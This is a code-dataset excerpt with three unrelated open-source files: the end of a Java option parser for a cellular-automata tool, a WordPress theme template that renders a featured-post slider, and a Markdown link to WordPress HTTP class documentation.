(alpha < 0 || alpha > 1) throw new ParseException("invalid alpha"); } catch (NumberFormatException ex) { throw new ParseException("invalid alpha"); } } String pattern = null; if (line.hasOption("pattern")) { pattern = line.getOptionValue("pattern"); if (pattern != null) pattern = pattern.trim(); } if (line.hasOption("single-seed")) pattern = "S"; else if (line.hasOption("single-seed-inverse")) pattern = "SI"; UpdatePattern updatePatter = UpdatePattern.synchronous; if (line.hasOption("update-patter")) { try { updatePatter = UpdatePattern.getUpdatePattern(line.getOptionValue("update-patter")); } catch (IllegalArgumentException ex) { throw new ParseException(ex.getMessage()); } } Boundaries boundaries = Boundaries.periodic; if (line.hasOption("periodic")) boundaries = Boundaries.periodic; else if (line.hasOption("fixed")) boundaries = Boundaries.fixed; else if (line.hasOption("adiabatic")) boundaries = Boundaries.adiabatic; else if (line.hasOption("reflective")) boundaries = Boundaries.reflective; ColorScheme colorScheme = ColorScheme.noColor; if (line.hasOption("black-white")) colorScheme = ColorScheme.noColor; else if (line.hasOption("activation-color")) colorScheme = ColorScheme.activationColor; else if (line.hasOption("omega-color")) colorScheme = ColorScheme.omegaColor; Output output = Output.all; if (line.hasOption("suppress-output")) output = Output.noOutput; Main.drawRule(rule, width, boundaries, updatePatter, steps, alpha, pattern, output, colorScheme); } catch(ParseException ex) { System.err.println("Copyright (C) 2009 Andrea Bonomi - <andrea.bonomi@gmail.com>"); System.err.println(); System.err.println("https://github.com/andreax79/one-neighbor-binary-cellular-automata"); System.err.println(); System.err.println("This program is free software; you can redistribute it and/or modify it"); System.err.println("under the terms of the GNU General Public License as published by the"); System.err.println("Free Software Foundation; either version 2 of the License, or (at your"); System.err.println("option) any later version."); System.err.println(); System.err.println("This program is distributed in the hope that it will be useful, but"); System.err.println("WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY"); System.err.println("or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License"); System.err.println("for more details."); System.err.println(); System.err.println("You should have received a copy of the GNU General Public License along"); System.err.println("with this program; if not, write to the Free Software Foundation, Inc.,"); System.err.println("59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.)"); System.err.println(); System.err.println(ex.getMessage()); HelpFormatter formatter = new HelpFormatter(); formatter.printHelp("main", options); } catch (IOException ex) { System.err.println("IO exception:" + ex.getMessage()); } } }
andreax79/one-neighbor-binary-cellular-automata
src/main/java/com/github/andreax79/meca/Main.java
Java
gpl-2.0
13,692
<?php $featured_slider_class = ''; if ( 'on' == et_get_option('flexible_slider_auto') ) $featured_slider_class .= ' et_slider_auto et_slider_speed_' . et_get_option('flexible_slider_autospeed'); if ( 'slide' == et_get_option('flexible_slider_effect') ) $featured_slider_class .= ' et_slider_effect_slide'; ?> <div id="featured" class="flexslider<?php echo $featured_slider_class; ?>"> <ul class="slides"> <?php $featured_cat = et_get_option('flexible_feat_cat'); $featured_cat_term = get_term_by( 'name', $featured_cat, 'project_category' ); $featured_num = et_get_option('flexible_featured_num'); if (et_get_option('flexible_use_pages','false') == 'false') { if ( 'on' == et_get_option('flexible_use_posts','false') ) $featured_query = new WP_Query( array( 'showposts' => $featured_num, 'cat' => get_catId( et_get_option('flexible_feat_posts_cat') ) ) ); else $featured_query = new WP_Query( array( 'post_type' => 'project', 'showposts' => $featured_num, 'tax_query' => array( array( 'taxonomy' => 'project_category', 'field' => 'id', 'terms' => (array) $featured_cat_term->term_id, 'operator' => 'IN' ) ) ) ); } else { global $pages_number; if (et_get_option('flexible_feat_pages') <> '') $featured_num = count(et_get_option('flexible_feat_pages')); else $featured_num = $pages_number; $featured_query = new WP_Query(array ('post_type' => 'page', 'orderby' => 'menu_order', 'order' => 'ASC', 'post__in' => (array) et_get_option('flexible_feat_pages'), 'showposts' => (int) $featured_num) ); } while ($featured_query->have_posts()) : $featured_query->the_post(); ?> <li class="slide"> <a href="<?php echo esc_url( get_permalink() ); ?>"> <?php $width = apply_filters( 'slider_image_width', 960 ); $height = apply_filters( 'slider_image_height', 360 ); $title = get_the_title(); $thumbnail = get_thumbnail($width,$height,'',$title,$title,false,'Featured'); $thumb = $thumbnail["thumb"]; if ( '' != $thumb ) { print_thumbnail($thumb, $thumbnail["use_timthumb"], $title, $width, $height, ''); } else { $media = get_post_meta( $post->ID, '_et_used_images', true ); if ( $media ){ foreach( (array) $media as $et_media ){ if ( is_numeric( $et_media ) ) { $et_fullimage_array = wp_get_attachment_image_src( $et_media, 'full' ); if ( $et_fullimage_array ){ $et_fullimage = $et_fullimage_array[0]; echo '<img src="' . esc_url( et_new_thumb_resize( et_multisite_thumbnail($et_fullimage ), $width, $height, '', true ) ) . '" width="' . esc_attr( $width ) . '" height="' . esc_attr( $height ) . '" alt="' . esc_attr( $title ) . '" />'; } break; } else { continue; } } } } ?> </a> </li> <?php endwhile; wp_reset_postdata(); ?> </ul> </div> <!-- end #featured -->
jaclarke83/SaugatuckTeaPartyCafe
media/themes/Flexible/includes/featured.php
PHP
gpl-2.0
3,074
<p><code><a href="https://developer.wordpress.org/reference/classes/wp_http_curl/stream_headers/">WP_Http_Curl::stream_headers()</a></code></p>
ixkaito/wp.shakyo
_wp-v11n/_includes/classes/WP_Http_Curl/stream_headers.md
Markdown
gpl-2.0
144